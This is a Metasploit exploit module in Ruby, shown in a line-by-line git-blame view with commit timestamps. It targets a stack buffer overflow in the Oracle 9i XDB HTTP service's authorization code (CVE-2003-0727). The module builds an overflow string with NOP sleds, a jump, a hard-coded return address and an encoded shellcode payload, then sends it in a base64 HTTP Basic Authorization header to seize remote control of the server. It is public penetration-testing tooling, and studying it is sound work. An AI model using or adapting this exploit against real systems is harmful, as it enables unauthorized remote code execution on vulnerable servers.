2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-26 13:17:43 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-10-26 13:17:43 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-10-26 13:17:43 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-10-26 13:17:43 +00:00
|
|
|
'Name' => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the authorization
|
2006-10-26 13:17:43 +00:00
|
|
|
code of the Oracle 9i HTTP XDB service. David Litchfield,
|
|
|
|
has illustrated multiple vulnerabilities in the Oracle
|
|
|
|
9i XML Database (XDB), during a seminar on "Variations
|
|
|
|
in exploit methods between Linux and Windows" presented
|
|
|
|
at the Blackhat conference.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-10-26 13:17:43 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
['CVE', '2003-0727'],
|
2010-09-20 08:06:27 +00:00
|
|
|
['OSVDB', '2449'],
|
2006-10-26 13:17:43 +00:00
|
|
|
['BID', '8375'],
|
|
|
|
['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
|
|
|
|
],
|
2006-11-15 01:02:04 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
2006-10-26 13:17:43 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-10-26 13:17:43 +00:00
|
|
|
[
|
|
|
|
[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'DefaultTarget' => 0,
|
2006-10-26 13:17:43 +00:00
|
|
|
'DisclosureDate' => 'Aug 18 2003'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080)
|
|
|
|
], self.class )
|
2006-10-26 13:17:43 +00:00
|
|
|
end
|
|
|
|
|
2006-11-15 01:02:04 +00:00
|
|
|
def check
|
|
|
|
connect
|
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
resp = sock.get_once
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 01:02:04 +00:00
|
|
|
if (resp =~ /9.2.0.1.0/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2006-11-15 01:02:04 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2006-10-26 13:17:43 +00:00
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = rand_text_english(4, payload_badchars) + ":"
|
|
|
|
sploit << rand_text_english(442, payload_badchars)
|
|
|
|
sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
|
2006-11-15 01:02:04 +00:00
|
|
|
sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded
|
2006-10-26 13:17:43 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
req = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"
|
|
|
|
|
|
|
|
res = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req
|
|
|
|
|
2006-10-26 13:17:43 +00:00
|
|
|
print_status("Trying target %s..." % target.name)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 13:17:43 +00:00
|
|
|
sock.put(res)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 13:17:43 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|